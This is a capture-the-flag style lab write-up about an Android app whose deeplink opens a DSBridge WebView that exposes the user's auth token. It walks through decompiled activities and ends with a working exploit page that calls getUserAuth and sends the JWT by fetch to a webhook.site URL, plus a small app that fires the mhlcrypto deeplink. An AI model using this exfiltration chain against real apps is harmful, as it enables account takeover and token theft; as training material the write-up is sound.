Token Bleed
android webview deeplink dsbridge

Token Bleed

Outline
In this lab, you will abuse a misconfigured Web View to steal an authentication token by just sharing a link.

Objectives
Exfiltrate the JWT of another user remotely by leveraging a misconfigured Web View and JavaScript bridge.

Skills Required

  • Understanding of Android app development, especially WebView implementations.
  • Reverse engineering of Android apps
  • Understanding of JavaScript to native bridges to exploit the issue

Solution

Starting the solution by examining AndroidManifest.xml file and I found a bunch of interesting Activities.

image.png

  • SplashActivity : We can interact with it through a deeplink as it has the tag category with value browsable
  • LoginActivity
  • MainActivity
  • DWebViewActivity : This may move us to dsbridge but let’s talk about it later.

LoginActivity

When we start the app we find the following login page

image.png

We need to know how to move forward, so let’s look at the LoginActivitiy

found these lines

if (loginActivity.validateInput(obj, obj2)) {
            loginActivity.performLogin(obj, obj2);
        }
...
...
...        

private final boolean validateInput(String email, String password) {
        ActivityLoginBinding activityLoginBinding = this.binding;
        ActivityLoginBinding activityLoginBinding2 = null;
        if (activityLoginBinding == null) {
            Intrinsics.throwUninitializedPropertyAccessException("binding");
            activityLoginBinding = null;
        }
        activityLoginBinding.editTextEmail.setError(null);
        ActivityLoginBinding activityLoginBinding3 = this.binding;
        if (activityLoginBinding3 == null) {
            Intrinsics.throwUninitializedPropertyAccessException("binding");
            activityLoginBinding3 = null;
        }
        activityLoginBinding3.editTextPassword.setError(null);
        if (!Patterns.EMAIL_ADDRESS.matcher(email).matches()) {
            ActivityLoginBinding activityLoginBinding4 = this.binding;
            if (activityLoginBinding4 == null) {
                Intrinsics.throwUninitializedPropertyAccessException("binding");
            } else {
                activityLoginBinding2 = activityLoginBinding4;
            }
            activityLoginBinding2.editTextEmail.setError("Please enter a valid email address");
            return false;
        }
        if (password.length() >= 6) {
            return true;
        }
        ActivityLoginBinding activityLoginBinding5 = this.binding;
        if (activityLoginBinding5 == null) {
            Intrinsics.throwUninitializedPropertyAccessException("binding");
        } else {
            activityLoginBinding2 = activityLoginBinding5;
        }
        activityLoginBinding2.editTextPassword.setError("Password must be at least 6 characters");
        return false;
    }

private final void performLogin(String email, String password) {
        BuildersKt__Builders_commonKt.launch$default(LifecycleOwnerKt.getLifecycleScope(this), Dispatchers.getIO(), null, new LoginActivity$performLogin$1(email, password, this, null), 2, null);
    }
  • validateLogin : checks if the email in the valid email format and the password’s length >6
  • performLogin : logs in directly, but we need to pass validateLogin first

We can simply use any creds that follow the validation conditions like kakashi@gmail.com:kakashi and we logged in successfully.

image.png

SplashActivity

public final class SplashActivity extends AppCompatActivity {
    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        Intent intent;
        super.onCreate(savedInstanceState);
        Context applicationContext = getApplicationContext();
        Intrinsics.checkNotNullExpressionValue(applicationContext, "getApplicationContext(...)");
        if (new TokenManager(applicationContext).getToken() != null) {
            intent = new Intent(this, (Class<?>) MainActivity.class);
            intent.setData(getIntent().getData());
            intent.setAction(getIntent().getAction());
        } else {
            intent = new Intent(this, (Class<?>) LoginActivity.class);
        }
        startActivity(intent);
        finish();
    }
}

This is the exported activity that handles the deeplink.

We see that it may move us to MainActivity or LoginActivity depending on the presence of a Token.

The token exists for us because we are logged in.

We also see these lines in the new intent

intent.setData(getIntent().getData());
intent.setAction(getIntent().getAction());

so the data and action used to start SplashActivity will be passed directly during the start of the MainActivity

MainActivity

When we reach the main activity we see that it handles the intent here

private final void handleIntent(Intent intent) {
        String queryParameter;
        if (Intrinsics.areEqual(intent.getAction(), "android.intent.action.VIEW")) {
            Uri data = intent.getData();
            if (Intrinsics.areEqual(data != null ? data.getScheme() : null, "mhlcrypto")) {
                Uri data2 = intent.getData();
                Intrinsics.checkNotNull(data2);
                if (!Intrinsics.areEqual("showPage", data2.getHost()) || (queryParameter = data2.getQueryParameter("url")) == null) {
                    return;
                }
                Intent intent2 = new Intent(this, (Class<?>) DWebViewActivity.class);
                intent2.putExtra("url_to_load", queryParameter);
                startActivity(intent2);
            }
        }
    }

We see several checks leading to start DwebViewActivity and they are

  • The uri has scheme = mhlcrypto
  • The host of the uri = showPage
  • There is a query parameter url and its value will be passed to the new intent as the value of url_to_load

DWebViewActivity

When we trace the flow of the activity we find this

  • receiving the intent and parsing the url
String stringExtra = getIntent().getStringExtra("url_to_load");
  • Setting the webview
WebSettings settings = activityDwebViewBinding2.dwebview.getSettings();
settings.setDomStorageEnabled(true);
settings.setJavaScriptCanOpenWindowsAutomatically(false);
settings.setAllowFileAccess(false);
settings.setAllowFileAccessFromFileURLs(false);
settings.setAllowUniversalAccessFromFileURLs(false);
settings.setAllowContentAccess(false);
settings.setSupportMultipleWindows(false);
  • Adding JSobject
activityDwebViewBinding4.dwebview.addJavascriptObject(new JsApi(this), null);
if (stringExtra != null && StringsKt.startsWith$default(stringExtra, "http", false, 2, (Object) null)) {
    ActivityDwebViewBinding activityDwebViewBinding5 = this.binding;
    if (activityDwebViewBinding5 == null) {
        Intrinsics.throwUninitializedPropertyAccessException("binding");
    } else {
        activityDwebViewBinding = activityDwebViewBinding5;
    }
    activityDwebViewBinding.dwebview.loadUrl(stringExtra);
} else {
    finish();
}

Here we see 2 important steps

  • addJavascriptObject: and it creates object from JsApi class
public final class JsApi {
    private final Context context;

    public JsApi(Context context) {
        Intrinsics.checkNotNullParameter(context, "context");
        this.context = context;
    }

    @JavascriptInterface
    public final void getUserAuth(Object args, CompletionHandler<Object> handler) {
        Intrinsics.checkNotNullParameter(handler, "handler");
        String token = new TokenManager(this.context).getToken();
        if (token != null) {
            handler.complete(new JSONObject(token));
        } else {
            handler.complete(new JSONObject().put("error", "No token found"));
        }
    }

    @JavascriptInterface
    public final void openNewWindow(Object args) {
        try {
            if (args instanceof JSONObject) {
                String optString = ((JSONObject) args).optString("url");
                Intrinsics.checkNotNull(optString);
                if (optString.length() <= 0 || !StringsKt.startsWith$default(optString, "http", false, 2, (Object) null)) {
                    return;
                }
                Intent intent = new Intent(this.context, (Class<?>) DWebViewActivity.class);
                intent.putExtra("url_to_load", optString);
                this.context.startActivity(intent);
            }
        } catch (Exception unused) {
        }
    }
}

here we have 2 methods provided by the JavascriptInterface which are getUserAuth , openNewWindow

We need to know how to interact with this interface

  • loadUrl: and it loads the url parsed from url_to_load

When we go to its source we find DWebView activity which defines a dsbridge

You can read more here https://github.com/wendux/DSBridge-Android

from this class we have the name of the dsbridge which is _dsbridge

We also want to know how to call the bridge, Let’s look if it’s exposed somewhere else in the app.

image.png

I found this https://mhl-cex-auth-worker.arnotstacc.workers.dev/help is loaded as it passed to url_to_load parameter.

When we inspect the content of that url we find this <script src="[https://cdn.jsdelivr.net/npm/dsbridge/dist/dsbridge.js](https://cdn.jsdelivr.net/npm/dsbridge/dist/dsbridge.js)"></script>

This script defines the call of dsbridge

We also can see how it called getUserAuth

dsBridge.call("getUserAuth", null, async function(tokenData) {
    if (!tokenData || !tokenData.data || !tokenData.data.authtoken) {
        contentEl.innerHTML = '<p>Could not retrieve token from the app. Please log in again.</p>';
        return;
    }
...
...
...                

Cooking the exploit

Let’s collect the pieces we know to get the token

image.png

Let’s create our malicious page for getting the token

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Token Capture</title>
    <script src="https://cdn.jsdelivr.net/npm/dsbridge/dist/dsbridge.js"></script>
</head>
<body>
    <h2>Retrieving token...</h2>
    <div id="content"></div>

    <script>
        const contentEl = document.getElementById("content");
        const webhookURL = "https://webhook.site/37ddbbdd-1d89-4f62-b731-56a326e0d518/receive"; // 🔹 change this to your actual webhook

        try {
            dsBridge.call("getUserAuth", null, async function(tokenData) {
                if (!tokenData || !tokenData.data || !tokenData.data.authtoken) {
                    contentEl.innerHTML = '<p>Could not retrieve token from the app. Please log in again.</p>';
                    return;
                }

                const token = tokenData.data.authtoken;
                contentEl.innerHTML = `<p>Token retrieved successfully!</p>`;

                // Send token to webhook as query parameter
                const fullURL = `${webhookURL}?token=${encodeURIComponent(token)}`;
                fetch(fullURL)
                    .then(() => {
                        contentEl.innerHTML += `<p>Token sent to server.</p>`;
                    })
                    .catch(err => {
                        contentEl.innerHTML += `<p>Error sending token: ${err}</p>`;
                    });
            });
        } catch (err) {
            contentEl.innerHTML = `<p>Failed to call getUserAuth: ${err}</p>`;
        }
    </script>
</body>
</html>

Here we call getUserAuth then send it to our webhook as query parameter.

Now we can create our app that triggers the whole exploit like this

public void onBtnClick(View view) {
    Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("mhlcrypto://showPage?url=https://webhook.site/37ddbbdd-1d89-4f62-b731-56a326e0d518"));
    startActivity(intent);
}

When we click that button the exploit will start as in the figure and at the end

image.png

https://webhook.site/37ddbbdd-1d89-4f62-b731-56a326e0d518 will be loaded which will load the script to send the token to us

image.png

and we got the token here

image.png

decoding the token

image.png

and GG we got the flag